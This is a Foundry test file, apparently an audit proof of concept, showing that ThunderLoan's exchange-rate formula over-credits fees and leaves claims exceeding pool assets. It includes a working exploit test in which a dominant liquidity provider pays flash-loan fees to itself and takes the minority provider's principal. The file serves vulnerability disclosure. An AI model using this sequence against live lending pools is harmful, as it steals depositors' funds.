test/PoC_TL-09.t.sol deploys ThunderLoan (V1) and ThunderLoanUpgraded (V2) behind ERC1967Proxy with the repo's MockPoolFactory, which prices every token at 1e18. The suite has six tests. (1) At rate 1e18 the first fee is credited correctly and claims equal assets. (2) In V2, once the rate is above 1e18, a single loan raises the rate to r*(S+fee)/S, above the solvent r + fee1e18/S, and claims grow by fee + fee(r-1e18)/1e18 while assets grow by exactly fee. (3) After 100 honest loans the rate is 1349252719366507139 against 1.3e18 under a reference model of the fix, so claims are 1349.25e18 against assets of 1300e18; the first redeemer is overpaid and the last redeemer's redeem(max) reverts and it recovers less than its principal. (4) A 90% LP that self-pays fees ends with a net profit equal to the 10% LP's loss. (5) The same over-credit occurs in V1. (6) The rate-2e18 example reproduces 2020e18 of claims against 2010e18 of assets; this test writes the starting state with vm.store and only illustrates the arithmetic. Run it with: forge test --match-path test/PoC_TL-09.t.sol -vv
pragma solidity 0.8.20;
import { Test, console } from "forge-std/Test.sol";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { ERC20Mock } from "@openzeppelin/contracts/mocks/ERC20Mock.sol";
import { ERC1967Proxy } from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
import { ThunderLoan } from "../src/protocol/ThunderLoan.sol";
import { ThunderLoanUpgraded } from "../src/upgradedProtocol/ThunderLoanUpgraded.sol";
import { AssetToken } from "../src/protocol/AssetToken.sol";
import { MockPoolFactory } from "./mocks/MockPoolFactory.sol";
interface ITL09 {
function flashloan(address receiverAddress, IERC20 token, uint256 amount, bytes calldata params) external;
function deposit(IERC20 token, uint256 amount) external;
function redeem(IERC20 token, uint256 amountOfAssetToken) external;
function repay(IERC20 token, uint256 amount) external;
function getAssetFromToken(IERC20 token) external view returns (AssetToken);
function getCalculatedFee(IERC20 token, uint256 amount) external view returns (uint256);
}
contract TL09Receiver {
function executeOperation(
address token,
uint256 amount,
uint256 fee,
address,
bytes calldata
)
external
returns (bool)
{
IERC20(token).approve(msg.sender, amount + fee);
ITL09(msg.sender).repay(IERC20(token), amount + fee);
return true;
}
}
contract PoC_TL09 is Test {
uint256 constant E = 1e18;
MockPoolFactory factory;
ERC20Mock token;
TL09Receiver receiver;
address lpA = makeAddr("lpA");
address lpB = makeAddr("lpB");
address borrower = makeAddr("borrower");
function setUp() public {
factory = new MockPoolFactory();
token = new ERC20Mock();
factory.createPool(address(token));
receiver = new TL09Receiver();
}
function _deployV2() internal returns (ITL09) {
ThunderLoanUpgraded impl = new ThunderLoanUpgraded();
ThunderLoanUpgraded tl = ThunderLoanUpgraded(address(new ERC1967Proxy(address(impl), "")));
tl.initialize(address(factory));
tl.setAllowedToken(IERC20(address(token)), true);
return ITL09(address(tl));
}
function _deployV1() internal returns (ITL09) {
ThunderLoan impl = new ThunderLoan();
ThunderLoan tl = ThunderLoan(address(new ERC1967Proxy(address(impl), "")));
tl.initialize(address(factory));
tl.setAllowedToken(IERC20(address(token)), true);
return ITL09(address(tl));
}
function _deposit(ITL09 tl, address who, uint256 amt) internal {
token.mint(who, amt);
vm.startPrank(who);
token.approve(address(tl), amt);
tl.deposit(IERC20(address(token)), amt);
vm.stopPrank();
}
function _loan(ITL09 tl, address payer, uint256 amt) internal returns (uint256 fee) {
fee = tl.getCalculatedFee(IERC20(address(token)), amt);
vm.prank(payer);
token.transfer(address(receiver), fee);
vm.prank(payer);
tl.flashloan(address(receiver), IERC20(address(token)), amt, "");
}
function _claims(AssetToken at) internal view returns (uint256) {
return at.totalSupply() * at.getExchangeRate() / E;
}
function _assets(AssetToken at) internal view returns (uint256) {
return token.balanceOf(address(at));
}
function test_Baseline_FirstFeeAtRateOneIsSolvent() public {
ITL09 tl = _deployV2();
AssetToken at = tl.getAssetFromToken(IERC20(address(token)));
_deposit(tl, lpA, 1000 * E);
token.mint(borrower, 3 * E);
uint256 fee = _loan(tl, borrower, 1000 * E);
assertEq(fee, 3 * E);
assertEq(at.getExchangeRate(), 1.003e18, "first fee at rate 1: 1e18 * 1003/1000");
assertEq(_claims(at), _assets(at), "books balance after the first fee (rate was 1e18)");
console.log("[baseline] rate", at.getExchangeRate(), "claims == assets", _assets(at));
}
function test_PerLoanOverCredit_V2() public {
ITL09 tl = _deployV2();
AssetToken at = tl.getAssetFromToken(IERC20(address(token)));
_deposit(tl, lpA, 1000 * E);
token.mint(borrower, 1_000_000 * E);
for (uint256 i; i < 50; i++) {
_loan(tl, borrower, 1000 * E);
}
uint256 S = at.totalSupply();
uint256 r = at.getExchangeRate();
uint256 claimsBefore = _claims(at);
uint256 assetsBefore = _assets(at);
uint256 fee = _loan(tl, borrower, 1000 * E);
uint256 rNew = at.getExchangeRate();
uint256 rCorrect = r + fee * E / S;
assertEq(rNew, r * (S + fee) / S, "contract uses r*(S+fee)/S");
assertGt(rNew, rCorrect, "new rate exceeds the solvent rate r + fee*1e18/S");
uint256 dClaims = _claims(at) - claimsBefore;
uint256 dAssets = _assets(at) - assetsBefore;
assertEq(dAssets, fee, "pool receives exactly the fee");
assertApproxEqAbs(dClaims - dAssets, fee * (r - E) / E, 1e6, "over-credit == fee*(r-1)");
console.log("[per-loan] rate before ", r);
console.log("[per-loan] rate after (bug) ", rNew);
console.log("[per-loan] rate after (fix) ", rCorrect);
console.log("[per-loan] claims increase ", dClaims);
console.log("[per-loan] assets increase ", dAssets);
}
function test_HonestVolume_DeficitAndLastRedeemerLosesPrincipal_V2() public {
ITL09 tl = _deployV2();
AssetToken at = tl.getAssetFromToken(IERC20(address(token)));
_deposit(tl, lpA, 900 * E);
_deposit(tl, lpB, 100 * E);
uint256 S = at.totalSupply();
assertEq(S, 1000 * E);
token.mint(borrower, 300 * E);
uint256 rCorrect = E;
for (uint256 i; i < 100; i++) {
uint256 fee = _loan(tl, borrower, 1000 * E);
rCorrect += fee * E / S;
}
uint256 r = at.getExchangeRate();
assertEq(_assets(at), 1300 * E, "pool holds deposits + 300e18 of fees");
assertEq(r, 1_349_252_719_366_507_139, "buggy compounded rate");
assertEq(rCorrect, 1.3e18, "solvent rate");
assertEq(S * rCorrect / E, _assets(at), "fixed formula keeps the books balanced");
assertGt(_claims(at), _assets(at), "buggy rate: claims exceed assets");
console.log("[volume] rate (bug) ", r);
console.log("[volume] rate (fix) ", rCorrect);
console.log("[volume] claims ", _claims(at));
console.log("[volume] assets ", _assets(at));
console.log("[volume] deficit ", _claims(at) - _assets(at));
vm.prank(lpA);
tl.redeem(IERC20(address(token)), type(uint256).max);
uint256 lpAOut = token.balanceOf(lpA);
assertGt(lpAOut, 1170 * E, "first redeemer receives more than its fair 90%");
console.log("[volume] lpA received", lpAOut);
vm.prank(lpB);
vm.expectRevert(bytes("ERC20: transfer amount exceeds balance"));
tl.redeem(IERC20(address(token)), type(uint256).max);
uint256 left = _assets(at);
uint256 sharesForRest = left * E / r;
vm.prank(lpB);
tl.redeem(IERC20(address(token)), sharesForRest);
uint256 lpBOut = token.balanceOf(lpB);
console.log("[volume] lpB received", lpBOut);
console.log("[volume] lpB stranded shares", at.balanceOf(lpB));
assertLt(lpBOut, 100 * E, "last redeemer loses principal");
assertLt(lpBOut, 130 * E, "and far less than its fair 10% (130e18)");
}
function test_Exploit_DominantLPExtractsFromOtherLP_V2() public {
ITL09 tl = _deployV2();
AssetToken at = tl.getAssetFromToken(IERC20(address(token)));
_deposit(tl, lpA, 900 * E);
_deposit(tl, lpB, 100 * E);
uint256 S = at.totalSupply();
uint256 budget = 1000 * E;
token.mint(lpA, budget);
uint256 attackerStart = 900 * E + budget;
bool checkedProfitableStep;
for (uint256 i; i < 100; i++) {
uint256 r = at.getExchangeRate();
uint256 claimBefore = at.balanceOf(lpA) * r / E;
uint256 fee = _loan(tl, lpA, _assets(at));
uint256 claimAfter = at.balanceOf(lpA) * at.getExchangeRate() / E;
if (!checkedProfitableStep && 900 * r > 1000 * E) {
uint256 gain = claimAfter - claimBefore;
assertGt(gain, fee, "self-paid fee returns more than it costs");
assertApproxEqAbs(gain - fee, (900 * r / 1000 - E) * fee / E, 1e6, "gain == (alpha*r-1)*fee");
console.log("[exploit] first profitable loan i =", i);
console.log("[exploit] fee paid ", fee);
console.log("[exploit] claim increase ", gain);
checkedProfitableStep = true;
}
}
assertTrue(checkedProfitableStep);
assertEq(S, at.totalSupply());
vm.prank(lpA);
tl.redeem(IERC20(address(token)), type(uint256).max);
uint256 attackerEnd = token.balanceOf(lpA);
assertGt(attackerEnd, attackerStart, "attacker ends with more than deposit + fees spent");
uint256 profit = attackerEnd - attackerStart;
uint256 left = _assets(at);
console.log("[exploit] attacker net profit", profit);
console.log("[exploit] left for victim ", left);
console.log("[exploit] victim claim (bug) ", at.balanceOf(lpB) * at.getExchangeRate() / E);
assertEq(left, 100 * E - profit, "victim's loss of principal == attacker's profit");
assertLt(left, 100 * E, "victim cannot recover its 100e18 principal");
vm.prank(lpB);
vm.expectRevert(bytes("ERC20: transfer amount exceeds balance"));
tl.redeem(IERC20(address(token)), type(uint256).max);
}
function test_PerLoanOverCredit_V1() public {
ITL09 tl = _deployV1();
AssetToken at = tl.getAssetFromToken(IERC20(address(token)));
_deposit(tl, lpA, 1000 * E);
uint256 r = at.getExchangeRate();
assertGt(r, E, "V1 deposit alone already raised the rate");
token.mint(borrower, 3 * E);
uint256 claimsBefore = _claims(at);
uint256 assetsBefore = _assets(at);
uint256 fee = _loan(tl, borrower, 1000 * E);
uint256 dClaims = _claims(at) - claimsBefore;
uint256 dAssets = _assets(at) - assetsBefore;
assertEq(dAssets, fee);
assertGt(dClaims, dAssets, "claims rise by more than the fee collected");
assertApproxEqAbs(dClaims - dAssets, fee * (r - E) / E, 1e6, "over-credit == fee*(r-1)");
console.log("[V1] rate before loan ", r);
console.log("[V1] claims increase ", dClaims);
console.log("[V1] assets increase ", dAssets);
}
function test_AttackPathArithmetic_Rate2_V2() public {
ITL09 tl = _deployV2();
AssetToken at = tl.getAssetFromToken(IERC20(address(token)));
_deposit(tl, lpA, 1000 * E);
vm.store(address(at), bytes32(uint256(5)), bytes32(uint256(2e18)));
assertEq(at.getExchangeRate(), 2e18, "slot 5 is s_exchangeRate");
token.mint(address(at), 1000 * E);
assertEq(_claims(at), _assets(at), "start balanced: 2000e18 vs 2000e18");
ThunderLoanUpgraded(address(tl)).updateFlashLoanFee(1e16);
token.mint(borrower, 10 * E);
uint256 fee = _loan(tl, borrower, 1000 * E);
assertEq(fee, 10 * E);
assertEq(at.getExchangeRate(), 2.02e18, "rate becomes 2.02e18 (correct: 2.01e18)");
assertEq(_claims(at), 2020 * E);
assertEq(_assets(at), 2010 * E);
console.log("[rate2] claims", _claims(at), "assets", _assets(at));
}
}